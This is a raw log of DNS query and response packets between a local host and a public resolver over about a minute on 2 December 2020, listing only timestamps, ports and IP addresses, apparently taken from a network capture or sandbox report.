Dec 2, 2020 11:53:19.915107965 CET	53	50733	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:20.131280899 CET	55770	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:20.166687965 CET	53	55770	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:20.213207006 CET	54525	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:20.241362095 CET	53	54525	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:20.728956938 CET	61760	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:20.756004095 CET	53	61760	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:21.179210901 CET	63822	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:21.206274986 CET	53	63822	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:21.260250092 CET	50957	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:21.295634985 CET	53	50957	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:21.933065891 CET	59666	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:21.968331099 CET	53	59666	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:23.109603882 CET	52223	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:23.136975050 CET	53	52223	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:23.221131086 CET	60136	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:23.248174906 CET	53	60136	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:23.515954018 CET	55649	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:23.543100119 CET	53	55649	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:23.884077072 CET	51524	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:23.911144018 CET	53	51524	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:24.321515083 CET	59141	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:24.348766088 CET	53	59141	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:24.618297100 CET	49682	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:24.645474911 CET	53	49682	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:24.746162891 CET	49709	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:24.775336981 CET	53	49709	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:25.162528038 CET	59384	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:25.189646006 CET	53	59384	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:25.535120010 CET	50284	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:25.570763111 CET	53	50284	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:25.711575985 CET	53089	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:25.738579035 CET	53	53089	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:25.947319984 CET	50563	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:25.974462032 CET	53	50563	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:26.361608982 CET	50265	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:26.388704062 CET	53	50265	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:26.781534910 CET	55442	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:26.822185993 CET	53	55442	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:26.857091904 CET	49561	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:26.883987904 CET	53	49561	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:27.201503992 CET	54097	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:27.228805065 CET	53	54097	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:27.631100893 CET	59502	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:27.658185959 CET	53	59502	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:27.660590887 CET	57959	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:27.687689066 CET	53	57959	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:28.056104898 CET	54971	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:28.083373070 CET	53	54971	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:28.371154070 CET	50969	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:28.398387909 CET	53	50969	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:28.488528967 CET	52183	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:28.515634060 CET	53	52183	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:28.910182953 CET	63354	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:28.937254906 CET	53	63354	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:29.182518005 CET	50635	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:29.209546089 CET	53	50635	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:29.335936069 CET	61603	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:29.363059998 CET	53	61603	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:29.746006012 CET	58318	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:29.773325920 CET	53	58318	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:29.995102882 CET	60826	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:30.038914919 CET	53	60826	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:30.157058954 CET	57763	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:30.184181929 CET	53	57763	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:30.534432888 CET	50111	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:30.561573029 CET	53	50111	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:30.950144053 CET	57206	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:30.977451086 CET	53	57206	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:31.414361000 CET	57132	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:31.441651106 CET	53	57132	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:31.786268950 CET	55483	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:31.813337088 CET	53	55483	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:32.222188950 CET	61626	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:32.249223948 CET	53	61626	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:32.588006020 CET	59675	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:32.615169048 CET	53	59675	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:33.002825975 CET	60149	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:33.029988050 CET	53	60149	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:33.441160917 CET	62141	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:33.468313932 CET	53	62141	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:33.586114883 CET	49345	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:33.613213062 CET	53	49345	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:33.848555088 CET	64074	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:33.875742912 CET	53	64074	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:34.279545069 CET	55829	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:34.306705952 CET	53	55829	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:34.717075109 CET	62260	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:34.744317055 CET	53	62260	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:35.146568060 CET	64211	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:35.173808098 CET	53	64211	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:35.539638042 CET	52578	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:35.567707062 CET	53	52578	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:35.924839973 CET	50711	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:35.962656021 CET	53	50711	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:36.347860098 CET	61820	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:36.375144005 CET	53	61820	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:36.785064936 CET	57735	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:36.812170029 CET	53	57735	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:37.224658012 CET	55006	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:37.251827002 CET	53	55006	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:37.669658899 CET	56061	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:37.696755886 CET	53	56061	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:38.092999935 CET	63969	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:38.120366096 CET	53	63969	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:38.512728930 CET	56101	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:38.513631105 CET	62167	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:38.539983034 CET	53	56101	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:38.540633917 CET	53	62167	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:38.875746965 CET	58929	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:38.903022051 CET	53	58929	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:39.301574945 CET	64113	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:39.328754902 CET	53	64113	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:39.479305029 CET	63520	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:39.506570101 CET	53	63520	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:39.725230932 CET	57347	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:39.752509117 CET	53	57347	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:40.219691038 CET	51839	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:40.246764898 CET	53	51839	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:40.580743074 CET	59552	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:40.608048916 CET	53	59552	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:41.038954973 CET	51149	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:41.066154957 CET	53	51149	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:41.423147917 CET	65392	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:41.450228930 CET	53	65392	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:41.821149111 CET	56831	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:41.848258972 CET	53	56831	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:42.263540030 CET	58224	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:42.301194906 CET	53	58224	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:44.639374018 CET	63852	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:44.666498899 CET	53	63852	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:45.021672964 CET	50342	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:45.048715115 CET	53	50342	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:45.443512917 CET	62748	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:45.470597029 CET	53	62748	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:45.885236025 CET	52084	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:45.913047075 CET	53	52084	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:46.304502964 CET	62963	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:46.331456900 CET	53	62963	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:46.728537083 CET	54617	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:46.755785942 CET	53	54617	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:47.133272886 CET	58962	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:47.161921024 CET	53	58962	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:47.572877884 CET	49879	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:47.599958897 CET	53	49879	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:47.995712996 CET	64380	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:48.022881031 CET	53	64380	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:48.408747911 CET	65394	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:48.435914993 CET	53	65394	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:48.832439899 CET	65442	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:48.868055105 CET	53	65442	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:49.251580000 CET	55371	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:49.289485931 CET	53	55371	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:49.627768993 CET	50700	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:49.663352013 CET	53	50700	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:50.035084009 CET	56092	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:50.073008060 CET	53	56092	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:50.434282064 CET	63218	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:50.461335897 CET	53	63218	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:50.894686937 CET	49605	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:50.921871901 CET	53	49605	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:51.414562941 CET	51176	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:51.441720009 CET	53	51176	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:51.783464909 CET	61121	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:51.810755968 CET	53	61121	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:52.171829939 CET	57264	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:52.199002981 CET	53	57264	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:52.585572958 CET	61165	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:52.612660885 CET	53	61165	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:53.006575108 CET	58199	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:53.033998966 CET	53	58199	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:53.381268024 CET	52441	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:53.416918993 CET	53	52441	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:53.810909986 CET	49504	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:53.838108063 CET	53	49504	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:53.976850986 CET	61803	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:54.022886038 CET	53	61803	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:54.208628893 CET	59895	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:54.235838890 CET	53	59895	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:54.629021883 CET	58852	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:54.656433105 CET	53	58852	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:55.050055027 CET	59404	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:55.077317953 CET	53	59404	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:55.423598051 CET	58796	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:55.459783077 CET	53	58796	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:55.850387096 CET	60134	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:55.877650976 CET	53	60134	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:56.248869896 CET	59101	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:56.276166916 CET	53	59101	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:56.647577047 CET	49982	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:56.674808979 CET	53	49982	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:57.027770042 CET	54903	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:57.063438892 CET	53	54903	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:57.430881977 CET	56555	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:57.458266973 CET	53	56555	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:57.886060953 CET	54076	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:57.913239002 CET	53	54076	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:58.272211075 CET	60588	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:58.299415112 CET	53	60588	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:58.649456024 CET	60130	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:58.685028076 CET	53	60130	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:59.079360962 CET	61667	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:59.106694937 CET	53	61667	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:59.472974062 CET	49486	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:59.500181913 CET	53	49486	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:59.913703918 CET	63553	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:59.940876961 CET	53	63553	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:00.307252884 CET	56573	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:00.334629059 CET	53	56573	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:00.705884933 CET	60976	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:00.741585016 CET	53	60976	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:01.120301008 CET	60135	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:01.147563934 CET	53	60135	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:01.509221077 CET	64851	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:01.536607981 CET	53	64851	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:01.956480980 CET	60353	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:01.983613968 CET	53	60353	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:02.397713900 CET	54546	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:02.424917936 CET	53	54546	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:02.774084091 CET	52888	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:02.809814930 CET	53	52888	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:03.318240881 CET	55676	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:03.345489025 CET	53	55676	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:03.729955912 CET	56563	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:03.757989883 CET	53	56563	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:04.140897989 CET	64931	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:04.168210030 CET	53	64931	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:04.599097967 CET	64018	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:04.626287937 CET	53	64018	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:04.985646963 CET	63373	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:05.023329020 CET	53	63373	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:05.616873026 CET	49673	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:05.644040108 CET	53	49673	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:06.028312922 CET	51196	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:06.055572033 CET	53	51196	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:06.426261902 CET	51780	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:06.453480005 CET	53	51780	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:06.822459936 CET	57670	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:06.849554062 CET	53	57670	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:07.286889076 CET	57902	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:07.314105034 CET	53	57902	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:07.661478996 CET	54402	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:07.688730955 CET	53	54402	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:08.032965899 CET	50519	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:08.060218096 CET	53	50519	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:08.417562962 CET	54651	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:08.444842100 CET	53	54651	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:08.915608883 CET	55624	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:08.951280117 CET	53	55624	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:09.930711985 CET	56300	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:09.958149910 CET	53	56300	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:11.526834011 CET	49720	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:11.553925991 CET	53	49720	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:11.984951019 CET	60205	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:12.012125969 CET	53	60205	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:12.548167944 CET	53503	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:12.575284958 CET	53	53503	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:12.928486109 CET	57300	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:12.955569983 CET	53	57300	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:13.366381884 CET	56431	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:13.393708944 CET	53	56431	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:13.817374945 CET	65072	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:13.844626904 CET	53	65072	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:14.184145927 CET	60906	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:14.211426020 CET	53	60906	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:14.635570049 CET	51274	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:14.662740946 CET	53	51274	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:15.045031071 CET	58297	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:15.072242975 CET	53	58297	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:15.459170103 CET	50109	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:15.486371994 CET	53	50109	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:15.820738077 CET	56320	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:15.847944975 CET	53	56320	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:16.267661095 CET	50022	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:16.294827938 CET	53	50022	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:16.449919939 CET	58351	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:16.477046967 CET	53	58351	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:16.631093979 CET	54173	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:16.658166885 CET	53	54173	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:17.072542906 CET	54900	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:17.099864960 CET	53	54900	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:17.425602913 CET	62232	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:17.452892065 CET	53	62232	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:17.846313953 CET	52584	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:17.873565912 CET	53	52584	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:18.235343933 CET	53868	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:18.262433052 CET	53	53868	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:18.702311039 CET	56289	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:18.729583979 CET	53	56289	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:19.151036978 CET	57612	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:19.178170919 CET	53	57612	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:19.527997017 CET	57388	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:19.566035986 CET	53	57388	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:19.926543951 CET	60341	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:19.954097033 CET	53	60341	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:20.382962942 CET	61756	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:20.410152912 CET	53	61756	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:20.773883104 CET	56007	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:20.801265001 CET	53	56007	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:21.157676935 CET	60443	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:21.193521976 CET	53	60443	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:21.525206089 CET	54455	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:21.552454948 CET	53	54455	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:21.906178951 CET	52429	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:21.933320999 CET	53	52429	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:22.302553892 CET	50037	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:22.338968992 CET	53	50037	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:22.729923010 CET	55032	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:22.757113934 CET	53	55032	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:23.100929022 CET	53383	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:23.128216028 CET	53	53383	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:23.510452986 CET	63721	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:23.537627935 CET	53	63721	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:23.916831970 CET	51919	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:23.944153070 CET	53	51919	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:24.330015898 CET	56370	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:24.356986046 CET	53	56370	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:24.777729988 CET	62256	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:24.804790974 CET	53	62256	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:25.196018934 CET	55231	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:25.223370075 CET	53	55231	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:25.633527994 CET	57602	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:25.660767078 CET	53	57602	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:26.057401896 CET	61972	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:26.084630966 CET	53	61972	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:26.484194040 CET	62015	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:26.511482000 CET	53	62015	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:26.873094082 CET	57290	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:26.911792994 CET	53	57290	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:27.340032101 CET	52891	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:27.375550985 CET	53	52891	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:27.751902103 CET	52859	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:27.779042959 CET	53	52859	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:28.121882915 CET	62912	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:28.149195910 CET	53	62912	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:28.559003115 CET	55047	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:28.586132050 CET	53	55047	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:29.007213116 CET	52118	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:29.034487963 CET	53	52118	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:29.390543938 CET	51886	53	192.168.2.6	8.8.8.8
